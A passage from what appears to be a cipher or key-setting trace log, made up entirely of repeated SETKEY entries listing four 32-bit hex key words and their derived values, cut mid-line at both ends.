0DFE001C, dwKeys[2] = 007A3D3E, dwKeys[3] = 5C720C9E;-[0]=9667F497,[1]=A97EA60F,[2]=5A21F8AB,[3]=F6BE4DE9; +SETKEY:dwKeys[0] = E483272C, dwKeys[1] = CC632855, dwKeys[2] = 8AED229D, dwKeys[3] = EE1F7325;-[0]=D8EC1484,[1]=E7F5461C,[2]=14AA18B8,[3]=B835ADFA; +SETKEY:dwKeys[0] = B412C9FD, dwKeys[1] = C6EDC4E0, dwKeys[2] = C60036C0, dwKeys[3] = 69A1B22D;-[0]=2B3517F2,[1]=142C456A,[2]=E7731BCE,[3]=4BECAE8C; +SETKEY:dwKeys[0] = 70863747, dwKeys[1] = BA415537, dwKeys[2] = 12155EFF, dwKeys[3] = FD6B1A6B;-[0]=AC6168E7,[1]=93783A7F,[2]=602764DB,[3]=CCB8D199; +SETKEY:dwKeys[0] = 3409E323, dwKeys[1] = 3678F2FE, dwKeys[2] = 34B764B0, dwKeys[3] = E2EEE522;-[0]=6DC0DC8A,[1]=52D98E12,[2]=A186D0B6,[3]=0D1965F4; +SETKEY:dwKeys[0] = E9737A2E, dwKeys[1] = 0ED9065E, dwKeys[2] = 79CF0987, dwKeys[3] = 6CA92B8C;-[0]=2EB4CADF,[1]=11AD9847,[2]=E2F2C6E3,[3]=4E6D73A1; +SETKEY:dwKeys[0] = 4407D535, dwKeys[1] = E0BC7239, dwKeys[2] = 41F8D5B7, dwKeys[3] = 10AB6EB7;-[0]=944CDA3E,[1]=AB5588A6,[2]=580AD602,[3]=F4956340; +SETKEY:dwKeys[0] = 5207EA29, dwKeys[1] = 07406DDE, dwKeys[2] = A4045C2C, dwKeys[3] = 085DA6E2;-[0]=61F9A6FA,[1]=5EE0F462,[2]=ADBFAAC6,[3]=01201F84; +SETKEY:dwKeys[0] = 6967F315, dwKeys[1] = 16A065B6, dwKeys[2] = A8424464, dwKeys[3] = BFF9AD73;-[0]=D1999ECD,[1]=EE80CC55,[2]=1DDF92F1,[3]=B14027B3; +SETKEY:dwKeys[0] = B96017C4, dwKeys[1] = 768E756D, dwKeys[2] = A51396D8, dwKeys[3] = 0CE37F02;-[0]=2B4AC49C,[1]=14539604,[2]=E70CC8A0,[3]=4B937DE2; +SETKEY:dwKeys[0] = B4C9493A, dwKeys[1] = 7FA84EFE, dwKeys[2] = 72C38B39, dwKeys[3] = 76ED9C51;-[0]=D69FB349,[1]=E986E1D1,[2]=1AD9BF75,[3]=B6460A37; +SETKEY:dwKeys[0] = C65849B5, dwKeys[1] = 1205D3B4, dwKeys[2] = 8D08EEB4, dwKeys[3] = B3C7AA2E;-[0]=9F050399,[1]=A01C5101,[2]=53430FA5,[3]=FFDCBAE7; +SETKEY:dwKeys[0] = 936B9290, dwKeys[1] = B0F19555, dwKeys[2] = 25D8A573, dwKeys[3] = A6D51F37;-[0]=C70FA888,[1]=F816FA10,[2]=0B49A4B4,[3]=A7D611F6; +SETKEY:dwKeys[0] = 92333323, dwKeys[1] = E403C76C, dwKeys[2] = 1EAE2C16, dwKeys[3] = 1A74E0F7;-[0]=6B85E933,[1]=549CBBAB,[2]=A7C3E50F,[3]=0B5C504D; +SETKEY:dwKeys[0] = 58BDDED7, dwKeys[1] = 370A694F, dwKeys[2] = 811A1CC7, dwKeys[3] = 8F8F5559;-[0]=96E4DEEF,[1]=A9FD8C77,[2]=5AA2D2D3,[3]=F63D6791; +SETKEY:dwKeys[0] = B81D2D90, dwKeys[1] = 1F1ED39B, dwKeys[2] = 750EAB64, dwKeys[3] = 151EF6F5;-[0]=AD84CEDE,[1]=929D9C46,[2]=61C2C2E2,[3]=CD5D77A0; +SETKEY:dwKeys[0] = 534731E5, dwKeys[1] = 3ADB09C3, dwKeys[2] = FD60C1E9, dwKeys[3] = 4E61DC4E;-[0]=65D065FC,[1]=5AC93764,[2]=A99669C0,[3]=0509DC82; +SETKEY:dwKeys[0] = 21E99392, dwKeys[1] = 76F493C7, dwKeys[2] = 2B098542, dwKeys[3] = F7252985;-[0]=F4FE57AC,[1]=CBE70534,[2]=38B85B90,[3]=9427EED2; +SETKEY:dwKeys[0] = 26F298CB, dwKeys[1] = E9664F08, dwKeys[2] = E87F1976, dwKeys[3] = BE63A7BF;-[0]=7B4BD32E,[1]=445281B6,[2]=B70DDF12,[3]=1B926A50; +SETKEY:dwKeys[0] = F89F71C1, dwKeys[1] = C7296524, dwKeys[2] = 8EC66502, dwKeys[3] = F98818B9;-[0]=76EA2FBE,[1]=49F37D26,[2]=BAAC2382,[3]=163396C0; +SETKEY:dwKeys[0] = B1972B8D, dwKeys[1] = A4F47486, dwKeys[2] = A07361AB, dwKeys[3] = 4BB1A44E;-[0]=195E28D1,[1]=26477A49,[2]=D51824ED,[3]=798791AF; +SETKEY:dwKeys[0] = 56FCA444, dwKeys[1] = 7C3AD687, dwKeys[2] = E21EA555, dwKeys[3] = 866310F2;-[0]=0EF01D84,[1]=31E94F1C,[2]=C2B611B8,[3]=6E29A4FA; +SETKEY:dwKeys[0] = CC8A88EA, dwKeys[1] = B154A2CA, dwKeys[2] = C53F1B9D, dwKeys[3] = 81E37248;-[0]=E4DD18FE,[1]=DBC44A66,[2]=289B14C2,[3]=8404A180; +SETKEY:dwKeys[0] = 5D21D8C1, dwKeys[1] = 38AFD440, dwKeys[2] = 0E17602E, dwKeys[3] = AF9CBEAD;-[0]=8E8CC184,[1]=B195931C,[2]=42CACDB8,[3]=EE5578FA; +SETKEY:dwKeys[0] = E3853710, dwKeys[1] = D4BFA86E, dwKeys[2] = 9911EAC6, dwKeys[3] = 8CA9482B;-[0]=FBBF77F3,[1]=C4A6256B,[2]=37F97BCF,[3]=9B66CE8D; +SETKEY:dwKeys[0] = 8793FF1C, dwKeys[1] = 55323F0E, dwKeys[2] = C31710CA, dwKeys[3] = 23EB9BF9;-[0]=04460794,[1]=3B5F550C,[2]=C8000BA8,[3]=649FBEEA; +SETKEY:dwKeys[0] = 4305797B, dwKeys[1] = 18DAF3FF, dwKeys[2] = 42C11410, dwKeys[3] = 0E7B4CE5;-[0]=9AED46C8,[1]=A5F41450,[2]=56AB4AF4,[3]=FA34FFB6; +SETKEY:dwKeys[0] = EC993895, dwKeys[1] = 6B9FA535, dwKeys[2] = F3D09977, dwKeys[3] = 69D8B620;-[0]=FC6DAA75,[1]=C374F8ED,[2]=302BA649,[3]=9CB4130B; +SETKEY:dwKeys[0] = DB4BD687, dwKeys[1] = 58F166B9, dwKeys[2] = F3AEA052, dwKeys[3] = D3677A5D;-[0]=AFE45B54,[1]=90FD09CC,[2]=63A25768,[3]=CF3DE22A; +SETKEY:dwKeys[0] = E1B7CBDD, dwKeys[1] = A2A127DB, dwKeys[2] = 6F6D2F6A, dwKeys[3] = 7781866E;-[0]=0C48EA7D,[1]=3351B8E5,[2]=C00EE641,[3]=6C915303; +SETKEY:dwKeys[0] = 242C6A68, dwKeys[1] = 8D6AB4F7, dwKeys[2] = A8D0539D, dwKeys[3] = 6BB82E69;-[0]=0D8897A8,[1]=3291C530,[2]=C1CE9B94,[3]=6D512ED6; +SETKEY:dwKeys[0] = D28E82E7, dwKeys[1] = 964D69ED, dwKeys[2] = 49B7FC7F, dwKeys[3] = 8651EC05;-[0]=06335BC8,[1]=392A0950,[2]=CA7557F4,[3]=66EAE2B6; +SETKEY:dwKeys[0] = 4110E47B, dwKeys[1] = 41592104, dwKeys[2] = B4905EEA, dwKeys[3] = CBEBC4DE;-[0]=F2A43B0A,[1]=CDBD6992,[2]=3EE23736,[3]=927D8274; +SETKEY:dwKeys[0] = 30698CB1, dwKeys[1] = CCDC9E17, dwKeys[2] = C8564E34, dwKeys[3] = 52F12D65;-[0]=83CC8BB0,[1]=BCD5D928,[2]=4F8A878C,[3]=E31532CE; +SETKEY:dwKeys[0] = 8E1243E0, dwKeys[1] = 89209ADE, dwKeys[2] = 84B1AAD7, dwKeys[3] = 73D21E7D;-[0]=E1127F8B,[1]=DE0B2D13,[2]=2D5473B7,[3]=81CBC6F5; +SETKEY:dwKeys[0] = F6A0F0D1, dwKeys[1] = BFE21C1B, dwKeys[2] = 0791B70B, dwKeys[3] = 9A4E04A4;-[0]=E589C74D,[1]=DA9095D5,[2]=29CFCB71,[3]=85507E33; +SETKEY:dwKeys[0] = 2B96DF52, dwKeys[1] = ADCB1324, dwKeys[2] = FAE81CDB, dwKeys[3] = F4FF1FB0;-[0]=3BB7F4B1,[1]=04AEA629,[2]=F7F1F88D,[3]=5B6E4DCF; +SETKEY:dwKeys[0] = DE21DCB5, dwKeys[1] = 070E0129, dwKeys[2] = B8956559, dwKeys[3] = 8EFAFF0B;-[0]=A7C848EB,[1]=98D11A73,[2]=6B8E44D7,[3]=C711F195; +SETKEY:dwKeys[0] = 95381EB7, dwKeys[1] = A6EC97B5, dwKeys[2] = C0B93E2C, dwKeys[3] = 9D46C22D;-[0]=19E57D9A,[1]=26FC2F02,[2]=D5A371A6,[3]=793CC4E4; +SETKEY:dwKeys[0] = B69AA7F5, dwKeys[1] = 0F864DB3, dwKeys[2] = 7F43EC75, dwKeys[3] = EB2E360D;-[0]=60260FBB,[1]=5F3F5D23,[2]=AC600387,[3]=00FFB6C5; +SETKEY:dwKeys[0] = 4334DED4, dwKeys[1] = AE790D3B, dwKeys[2] = 18C480B6, dwKeys[3] = 2206E528;-[0]=CEE464D3,[1]=F1FD364B,[2]=02A268EF,[3]=AE3DDDAD; +SETKEY:dwKeys[0] = 1C4BB2B9, dwKeys[1] = C32CCE21, dwKeys[2] = B3E93387, dwKeys[3] = 4902A6B3;-[0]=AC51C496,[1]=9348960E,[2]=6017C8AA,[3]=CC887DE8; +SETKEY:dwKeys[0] = 79B3609E, dwKeys[1] = E5976881, dwKeys[2] = 47DB7C02, dwKeys[3] = C115219F;-[0]=2296C50F,[1]=1D8F9797,[2]=EED0C933,[3]=424F7C71; +SETKEY:dwKeys[0] = A831E854, dwKeys[1] = 840FA5F9, dwKeys[2] = 101E0EC2, dwKeys[3] = 3F8C9A1D;-[0]=6245922A,[1]=5D5CC0B2,[2]=AE039E16,[3]=029C2B54; +SETKEY:dwKeys[0] = 421FD041, dwKeys[1] = 3DB23544, dwKeys[2] = 6EE9760B, dwKeys[3] = 1F2E6073;-[0]=A2F08A21,[1]=9DE9D8B9,[2]=6EB6861D,[3]=C229335F; +SETKEY:dwKeys[0] = 3F62C0F1, dwKeys[1] = 29ECC19D, dwKeys[2] = 3BEB0A53, dwKeys[3] = B585A2A9;-[0]=45E0093A,[1]=7AF95BA2,[2]=89A60506,[3]=2539B044; +SETKEY:dwKeys[0] = FB4A981D, dwKeys[1] = E1C3EC8F, dwKeys[2] = 3E4DDA3A, dwKeys[3] = 2F72DE05;-[0]=53033093,[1]=6C1A620B,[2]=9F453CAF,[3]=33DA89ED; +SETKEY:dwKeys[0] = 28288F3F, dwKeys[1] = 800A83A4, dwKeys[2] = EEC8A34B, dwKeys[3] = EE7974B2;-[0]=3A685943,[1]=05710BDB,[2]=F62E557F,[3]=5AB1E03D; +SETKEY:dwKeys[0] = 08381D50, dwKeys[1] = 7993CADA, dwKeys[2] = E9D67B8D, dwKeys[3] = 7CC2E721;-[0]=AA42D5A9,[1]=955B8731,[2]=6604D995,[3]=CA9B6CD7; +SETKEY:dwKeys[0] = A85F294E, dwKeys[1] = 76AD8E9F, dwKeys[2] = B3F15F17, dwKeys[3] = 1E5A7756;-[0]=6F417D6D,[1]=50582FF5,[2]=A3077151,[3]=0F98C413; +SETKEY:dwKeys[0] = 372C10D5, dwKeys[1] = E71F0FA9, dwKeys[2] = 21D112D6, dwKeys[3] = FE867BC7;-[0]=A6742DA2,[1]=996D7F3A,[2]=6A32219E,[3]=C6AD94DC; +SETKEY:dwKeys[0] = 3F1382FA, dwKeys[1] = DB03E714, dwKeys[2] = 7ECC7B39, dwKeys[3] = 20E28ADC;-[0]=59E41236,[1]=66FD40AE,[2]=95A21E0A,[3]=393DAB48; +SETKEY:dwKeys[0] = 42E4607D, dwKeys[1] = C9E459D3, dwKeys[2] = B8079992, dwKeys[3] = 90C782C6;-[0]=D5FC4A67,[1]=EAE518FF,[2]=19BA465B,[3]=B525F319; +SETKEY:dwKeys[0] = 5F05C454, dwKeys[1] = 2944B300, dwKeys[2] = 83CE030E, dwKeys[3] = 389A1CB5;-[0]=FED5576D,[1]=C1CC05F5,[2]=32935B51,[3]=9E0CEE13; +SETKEY:dwKeys[0] = E568220F, dwKeys[1] = 25956149, dwKeys[2] = 4BB03B0B, dwKeys[3] = C48FEA4F;-[0]=54C1B4A4,[1]=6BD8E63C,[2]=9887B898,[3]=34180DDA; +SETKEY:dwKeys[0] = 186941EB, dwKeys[1] = 17734B2C, dwKeys[2] = 471D32E0, dwKeys[3] = E352BDD4;-[0]=65010FF9,[1]=5A185D61,[2]=A94703C5,[3]=05D8B687; +SETKEY:dwKeys[0] = C8A34E08, dwKeys[1] = AB02D0B2, dwKeys[2] = 916FF34B, dwKeys[3] = 8C14E68C;-[0]=6B1768BE,[1]=540E3A26,[2]=A7516482,[3]=0BCED1C0; +SETKEY:dwKeys[0] = B8637079, dwKeys[1] = 85645F75, dwKeys[2] = E17FEAC8, dwKeys[3] = 2F3955CB;-[0]=B551A935,[1]=8A48FBAD,[2]=7917A509,[3]=D588104B; +SETKEY:dwKeys[0] = D57D1081, dwKeys[1] = 3597F1B8, dwKeys[2] = E7CCD718, dwKeys[3] = D31890B8;-[0]=A3CE2BB0,[1]=9CD77928,[2]=6F88278C,[3]=C31792CE; +SETKEY:dwKeys[0] = 11E9AC49, dwKeys[1] = 34BB379E, dwKeys[2] = F22C3DD2, dwKeys[3] = 796DD2B4;-[0]=020D2D75,[1]=3D147FED,[2]=CE4B2149,[3]=62D4940B; +SETKEY:dwKeys[0] = D47EEECB, dwKeys[1] = 0D8DA35E, dwKeys[2] = CCE1D225, dwKeys[3] = 40BDBD28;-[0]=EFD35C61,[1]=D0CA0EF9,[2]=2395505D,[3]=8F0AE51F; +SETKEY:dwKeys[0] = 444C29CC, dwKeys[1] = EE79B4F6, dwKeys[2] = 0171ABD1, dwKeys[3] = 2C8AD268;-[0]=691BBE73,[1]=5602ECEB,[2]=A55DB24F,[3]=09C2070D; +SETKEY:dwKeys[0] = 4645C66E, dwKeys[1] = 696A02BC, dwKeys[2] = 8598AEFE, dwKeys[3] = 8A86C2FB;-[0]=31B76928,[1]=0EAE3BB0,[2]=FDF16514,[3]=516ED056; +SETKEY:dwKeys[0] = DBCA80E0, dwKeys[1] = 8D81CC6A, dwKeys[2] = 25780A1A, dwKeys[3] = 7F6A8CBC;-[0]=E5FFC5B4,[1]=DAE6972C,[2]=29B9C988,[3]=85267CCA; +SETKEY:dwKeys[0] = 91AE2D3E, dwKeys[1] = AEB37159, dwKeys[2] = E13395E5, dwKeys[3] = A3D762BC;-[0]=11E3C96A,[1]=2EFA9BF2,[2]=DDA5C556,[3]=713A7014; +SETKEY:dwKeys[0] = 37D90A36, dwKeys[1] = 8925CE04, dwKeys[2] = 06D4920C, dwKeys[3] = EFF8D734;-[0]=3D315856,[1]=02280ACE,[2]=F177546A,[3]=5DE8E128; +SETKEY:dwKeys[0] = 718AEFCE, dwKeys[1] = 3B56A223, dwKeys[2] = C5E2D1A3, dwKeys[3] = 218CCA73;-[0]=90486CF7,[1]=AF513E6F,[2]=5C0E60CB,[3]=F091D589; +SETKEY:dwKeys[0] = 7C71D211, dwKeys[1] = 3DDA6E3D, dwKeys[2] = 1C41BE8D, dwKeys[3] = CCA6B5CF;-[0]=A9FB0184,[1]=96E2531C,[2]=65BD0DB8,[3]=C922B8FA; +SETKEY:dwKeys[0] = 1D4B8E02, dwKeys[1] = 5B0B266D, dwKeys[2] = 53CC42FD, dwKeys[3] = 002A8E85;-[0]=0456F182,[1]=3B4FA31A,[2]=C810FDBE,[3]=648F48FC; +SETKEY:dwKeys[0] = 762D9E76, dwKeys[1] = 005935D1, dwKeys[2] = 7C2F0F58, dwKeys[3] = A314DFFC;-[0]=5771A234,[1]=6868F0AC,[2]=9B37AE08,[3]=37A81B4A; +SETKEY:dwKeys[0] = E107BEB8, dwKeys[1] = 810A3027, dwKeys[2] = 037DF116, dwKeys[3] = 3FCAD83D;-[0]=2CC67AC3,[1]=13DF285B,[2]=E08076FF,[3]=4C1FC3BD; +SETKEY:dwKeys[0] = E7A742B9, dwKeys[1] = 2FAA0523, dwKeys[2] = F586DD4E, dwKeys[3] = 8F7A332D;-[0]=342BBE02,[1]=0B32EC9A,[2]=F86DB23E,[3]=54F2077C; +SETKEY:dwKeys[0] = A53711BC, dwKeys[1] = A8AC7987, dwKeys[2] = 45BBE496, dwKeys[3] = 8592F1CA;-[0]=A0A07ED4,[1]=9FB92C4C,[2]=6CE672E8,[3]=C079C7AA; +SETKEY:dwKeys[0] = CB3A88BB, dwKeys[1] = D2663162, dwKeys[2] = 162C64BC, dwKeys[3] = A8A7A37E;-[0]=A99817F3,[1]=9681456B,[2]=65DE1BCF,[3]=C941AE8D; +SETKEY:dwKeys[0] = 6E80A437, dwKeys[1] = 9BBBFF08, dwKeys[2] = 8209F9A3, dwKeys[3] = FBA4F1B0;-[0]=FDFC7ED0,[1]=C2E52C48,[2]=31BA72EC,[3]=9D25C7AE; +SETKEY:dwKeys[0] = 5D8B84F1, dwKeys[1] = F3899EDE, dwKeys[2] = 4C75AE33, dwKeys[3] = 25BF0C5E;-[0]=8FF84DD2,[1]=B0E11F4A,[2]=43BE41EE,[3]=EF21F4AC; +SETKEY:dwKeys[0] = 2DDDEDE3, dwKeys[1] = 68220B41, dwKeys[2] = D3686142, dwKeys[3] = A850817C;-[0]=F545F65E,[1]=CA5CA4C6,[2]=3903FA62,[3]=959C4F20; +SETKEY:dwKeys[0] = FE99B76E, dwKeys[1] = 07DC0EF5, dwKeys[2] = 0F8ADCFA, dwKeys[3] = C6159F7F;-[0]=6E034F26,[1]=511A1DBE,[2]=A245431A,[3]=0EDAF658; +SETKEY:dwKeys[0] = AE32BF38, dwKeys[1] = 0D5EF397, dwKeys[2] = F48D98C6, dwKeys[3] = 12A9B9FC;-[0]=791C7496,[1]=4605260E,[2]=B55A78AA,[3]=19C5CDE8; +SETKEY:dwKeys[0] = C65D8273, dwKeys[1] = ADAED451, dwKeys[2] = A63A0276, dwKeys[3] = FBFD50C4;-[0]=14141D92,[1]=2B0D4F0A,[2]=D85211AE,[3]=74CDA4EC; +SETKEY:dwKeys[0] = 0A307F7A, dwKeys[1] = DDAC937A, dwKeys[2] = 20BCB1D2, dwKeys[3] = B5C3E4BA;-[0]=273D3EFB,[1]=18246C63,[2]=EB7B32C7,[3]=47E48785; +SETKEY:dwKeys[0] = B6EDA970, dwKeys[1] = 9C81C1E1, dwKeys[2] = 156052A7, dwKeys[3] = 0EC08E28;-[0]=C4554433,[1]=FB4C16AB,[2]=0813480F,[3]=A48CFD4D; +SETKEY:dwKeys[0] = CB7DB195, dwKeys[1] = 8AD4DF7C, dwKeys[2] = 35D2FEA3, dwKeys[3] = CF271968;-[0]=FD8CC2CA,[1]=C2959052,[2]=31CACEF6,[3]=9D557BB4; +SETKEY:dwKeys[0] = EFEB400C, dwKeys[1] = 2705FFC2, dwKeys[2] = 9B614500, dwKeys[3] = 61ADEC60;-[0]=FFECD53C,[1]=C0F587A4,[2]=33AAD900,[3]=9F356C42; +SETKEY:dwKeys[0] = 4B943C52, dwKeys[1] = 7628FCF3, dwKeys[2] = AC20769E, dwKeys[3] = AE89F12D;-[0]=D6BF6CA8,[1]=E9A63E30,[2]=1AF96094,[3]=B666D5D6; +SETKEY:dwKeys[0] = F4455E09, dwKeys[1] = 9C12C6EB, dwKeys[2] = B7B9502E, dwKeys[3] = 173CFD72;-[0]=AE289396,[1]=9131C10E,[2]=626E9FAA,[3]=CEF12AE8; +SETKEY:dwKeys[0] = 96513EB9, dwKeys[1] = C073F0EE, dwKeys[2] = A90BA722, dwKeys[3] = C3714B73;-[0]=FE8455AA,[1]=C19D0732,[2]=32C25996,[3]=9E5DECD4; +SETKEY:dwKeys[0] = 1FE635C4, dwKeys[1] = D67CE6E7, dwKeys[2] = A314D5AA, dwKeys[3] = E21490B2;-[0]=AAEFEBA8,[1]=95F6B930,[2]=66A9E794,[3]=CA3652D6; +SETKEY:dwKeys[0] = AEA9F87F, dwKeys[1] = 978DAA51, dwKeys[2] = CE9814E4, dwKeys[3] = 00E130B4;-[0]=077AE68E,[1]=3863B416,[2]=CB3CEAB2,[3]=67A35FF0; +SETKEY:dwKeys[0] = B7FB0C0E, dwKeys[1] = 911DDB92, dwKeys[2] = CA39FDD9, dwKeys[3] = CF908F4F;-[0]=7325043E,[1]=4C3C56A6,[2]=BF630802,[3]=13FCBD40; +SETKEY:dwKeys[0] = E9D106BA, dwKeys[1] = 75454A98, dwKeys[2] = C517DF2D, dwKeys[3] = D8D1C3C5;-[0]=669540FF,[1]=598C1267,[2]=AAD34CC3,[3]=064CF981; +SETKEY:dwKeys[0] = 881907C4, dwKeys[1] = B97F1B05, dwKeys[2] = 61FF4878, dwKeys[3] = 0527D4B0;-[0]=0136569A,[1]=3E2F0402,[2]=CD705AA6,[3]=61EFEFE4; +SETKEY:dwKeys[0] = 3C521EBF, dwKeys[1] = ED657F77, dwKeys[2] = 9E81E5A0, dwKeys[3] = 6B68C68E;-[0]=079E764E,[1]=388724D6,[2]=CBD87A72,[3]=6747CF30; +SETKEY:dwKeys[0] = F48BCAEC, dwKeys[1] = 52959015, dwKeys[2] = 1A566E4C, dwKeys[3] = D72578A7;-[0]=2291FC63,[1]=1D88AEFB,[2]=EED7F05F,[3]=4248451D; +SETKEY:dwKeys[0] = 1196CE84, dwKeys[1] = 12F2585D, dwKeys[2] = EB7BEB92, dwKeys[3] = E16F3943;-[0]=8B0B6673,[1]=B41234EB,[2]=474D6A4F,[3]=EBD2DF0D; +SETKEY:dwKeys[0] = 21D53213, dwKeys[1] = 90F6B92C, dwKeys[2] = 4DEB775C, dwKeys[3] = D090FB28;-[0]=C99131A9,[1]=F6886331,[2]=05D73D95,[3]=A94888D7; +SETKEY:dwKeys[0] = 4B39E8FB, dwKeys[1] = 8B3B054C, dwKeys[2] = C352F33B, dwKeys[3] = 34244C06;-[0]=7EA4A710,[1]=41BDF588,[2]=B2E2AB2C,[3]=1E7D1E6E; +SETKEY:dwKeys[0] = BBF9220A, dwKeys[1] = 3060BFC9, dwKeys[2] = 85CB339D, dwKeys[3] = 42392A09;-[0]=01E74E59,[1]=3EFE1CC1,[2]=CDA14265,[3]=613EF727; +SETKEY:dwKeys[0] = CF04D404, dwKeys[1] = 71F034CC, dwKeys[2] = 3A8BEA40, dwKeys[3] = 7397FA4D;-[0]=D566E87B,[1]=EA7FBAE3,[2]=1920E447,[3]=B5BF5105; +SETKEY:dwKeys[0] = 4E569C57, dwKeys[1] = CE7E7813, dwKeys[2] = 962F4B3D, dwKeys[3] = FF153A87;-[0]=06A291A6,[1]=39BBC33E,[2]=CAE49D9A,[3]=667B28D8; +SETKEY:dwKeys[0] = EF1D7C7F, dwKeys[1] = 1EE70C4C, dwKeys[2] = 01ABA340, dwKeys[3] = 292336DC;-[0]=2F4AD3EA,[1]=10538172,[2]=E30CDFD6,[3]=4F936A94; +SETKEY:dwKeys[0] = 56BE5913, dwKeys[1] = 62571730, dwKeys[2] = 2B8DA722, dwKeys[3] = B639E2C2;-[0]=1926EE54,[1]=263FBCCC,[2]=D560E268,[3]=79FF572A; +SETKEY:dwKeys[0] = 95D137C8, dwKeys[1] = 4B698C7E, dwKeys[2] = 87B4F270, dwKeys[3] = 5A0D4C6F;-[0]=63566BE4,[1]=5C4F397C,[2]=AF1067D8,[3]=038FD29A; +SETKEY:dwKeys[0] = 74DB01E5, dwKeys[1] = E7462C64, dwKeys[2] = 13ED11CE, dwKeys[3] = 147FCF5A;-[0]=6546F4F3,[1]=5A5FA66B,[2]=A900F8CF,[3]=059F4D8D; +SETKEY:dwKeys[0] = 15F2D91D, dwKeys[1] = DDADD270, dwKeys[2] = 07714004, dwKeys[3] = 4E2A3996;-[0]=07AB8BF3,[1]=38B2D96B,[2]=CBED87CF,[3]=6772328D; +SETKEY:dwKeys[0] = F3168056, dwKeys[1] = 7429AD6C, dwKeys[2] = 097C9147, dwKeys[3] = 345BDB05;-[0]=65DB8881,[1]=5AC2DA19,[2]=A99D84BD,[3]=050231FF; +SETKEY:dwKeys[0] = C952C1C9, dwKeys[1] = 66811EBA, dwKeys[2] = 7400D1A3, dwKeys[3] = 552A063F;-[0]=2719F922,[1]=1800ABBA,[2]=EB5FF51E,[3]=47C0405C; +SETKEY:dwKeys[0] = 0CCE8322, dwKeys[1] = B151484C, dwKeys[2] = D6404C6D, dwKeys[3] = 8603C5D6;-[0]=692A7AF5,[1]=5633286D,[2]=A56C76C9,[3]=09F3C38B; +SETKEY:dwKeys[0] = C59F6775, dwKeys[1] = E4C101FC, dwKeys[2] = 2315BAF2, dwKeys[3] = 32E93EFB;-[0]=B5395BA9,[1]=8A200931,[2]=797F5795,[3]=D5E0E2D7; +SETKEY:dwKeys[0] = D30CBD3D, dwKeys[1] = 91FE7E34, dwKeys[2] = B15943CC, dwKeys[3] = D30821F2;-[0]=60BD5AD1,[1]=5FA40849,[2]=ACFB56ED,[3]=0064E3AF; +SETKEY:dwKeys[0] = DA4A6745, dwKeys[1] = 2F75D0A2, dwKeys[2] = 76BD6A39, dwKeys[3] = 75271B69;-[0]=0A236B01,[1]=353A3999,[2]=C665673D,[3]=6AFAD27F; +SETKEY:dwKeys[0] = 26F44275, dwKeys[1] = A44FFD94, dwKeys[2] = A69C4B7A, dwKeys[3] = 5CA3974D;-[0]=EBEA922D,[1]=D4F3C0B5,[2]=27AC9E11,[3]=8B332B53; +SETKEY:dwKeys[0] = 7A0A3884, dwKeys[1] = 0DF6BE19, dwKeys[2] = D1724189, dwKeys[3] = BA04F931;-[0]=08C50E5F,[1]=37DC5CC7,[2]=C4830263,[3]=681CB721; +SETKEY:dwKeys[0] = B0A8B21B, dwKeys[1] = 3C95C918, dwKeys[2] = 75FFD066, dwKeys[3] = B66A82C9;-[0]=57864EBE,[1]=689F1C26,[2]=9BC04282,[3]=375FF7C0; +SETKEY:dwKeys[0] = CDD79230, dwKeys[1] = 347ADE67, dwKeys[2] = 8B56FCAA, dwKeys[3] = 489C63F6;-[0]=A900FE0B,[1]=9619AC93,[2]=6546F237,[3]=C9D94775; +SETKEY:dwKeys[0] = C1E3F92E, dwKeys[1] = F78D8913, dwKeys[2] = F2C3227B, dwKeys[3] = 42C818A7;-[0]=92700348,[1]=AD6951D0,[2]=5E360F74,[3]=F2A9BA36; +SETKEY:dwKeys[0] = 07B1EE3A, dwKeys[1] = 498CA346, dwKeys[2] = AD4E2090, dwKeys[3] = 3FA8EF10;-[0]=893B80B5,[1]=B622D22D,[2]=457D8C89,[3]=E9E239CB; +SETKEY:dwKeys[0] = 0CDD2D56, dwKeys[1] = 312341C5, dwKeys[2] = 6FE71382, dwKeys[3] = E85F0F11;-[0]=6C4E96B3,[1]=5357C42B,[2]=A0089A8F,[3]=0C972FCD; +SETKEY:dwKeys[0] = 3A921CB9, dwKeys[1] = 460A0544, dwKeys[2] = B9DCCFF6, dwKeys[3] = 608FEFB0;-[0]=372DF3FC,[1]=0834A164,[2]=FB6BFFC0,[3]=57F44A82; +SETKEY:dwKeys[0] = E7BE0933, dwKeys[1] = DF64FB59, dwKeys[2] = 86DB4D10, dwKeys[3] = F69BEE25;-[0]=4D413818,[1]=72586A80,[2]=81073424,[3]=2D988166; +SETKEY:dwKeys[0] = AA2F8BA1, dwKeys[1] = E4C39B91, dwKeys[2] = 97893E1D, dwKeys[3] = 6DF85462;-[0]=5DF4406E,[1]=62ED12F6,[2]=91B24C52,[3]=3D2DF910; +SETKEY:dwKeys[0] = 77CA38DC, dwKeys[1] = 72E6FC05, dwKeys[2] = 8F889F2F, dwKeys[3] = 7D5F6ABF;-[0]=4ADFDF3F,[1]=75C68DA7,[2]=8699D303,[3]=2A066641; +SETKEY:dwKeys[0] = C6EF0F10, dwKeys[1] = 35BBF18C, dwKeys[2] = 9D56F82F, dwKeys[3] = 851554C6;-[0]=86B15B9B,[1]=B9A80903,[2]=4AF757A7,[3]=E668E2E5; +SETKEY:dwKeys[0] = F9DE371D, dwKeys[1] = 95460AF4, dwKeys[2] = B2FC06AC, dwKeys[3] = 9AE53899;-[0]=BE6DCCC5,[1]=81749E5D,[2]=722BC0F9,[3]=DEB475BB; +SETKEY:dwKeys[0] = 53011F33, dwKeys[1] = D9A2B73B, dwKeys[2] = 74897BC9, dwKeys[3] = 02C0A080;-[0]=9AF6C7A4,[1]=A5EF953C,[2]=56B0CB98,[3]=FA2F7EDA; +SETKEY:dwKeys[0] = 50634D0F, dwKeys[1] = 7B33E856, dwKeys[2] = 3943DC1E, dwKeys[3] = DBF9E4DD;-[0]=E83A222D,[1]=D72370B5,[2]=247C2E11,[3]=88E39B53; +SETKEY:dwKeys[0] = 8335FCAD, dwKeys[1] = B2145254, dwKeys[2] = 9433FC6F, dwKeys[3] = 4C596566;-[0]=3E93002D,[1]=018A52B5,[2]=F2D50C11,[3]=5E4AB953; +SETKEY:dwKeys[0] = 1AEB661E, dwKeys[1] = 781349DD, dwKeys[2] = 98A6B377, dwKeys[3] = 603A8BAF;-[0]=AE324958,[1]=912B1BC0,[2]=62744564,[3]=CEEBF026; +SETKEY:dwKeys[0] = 3F71CD89, dwKeys[1] = 76486326, dwKeys[2] = 0AD80F46, dwKeys[3] = 03410C13;-[0]=CB3B04B1,[1]=F4225629,[2]=077D088D,[3]=ABE2BDCF; +SETKEY:dwKeys[0] = 9BEEB889, dwKeys[1] = FE9AF6DC, dwKeys[2] = 606AAB92, dwKeys[3] = 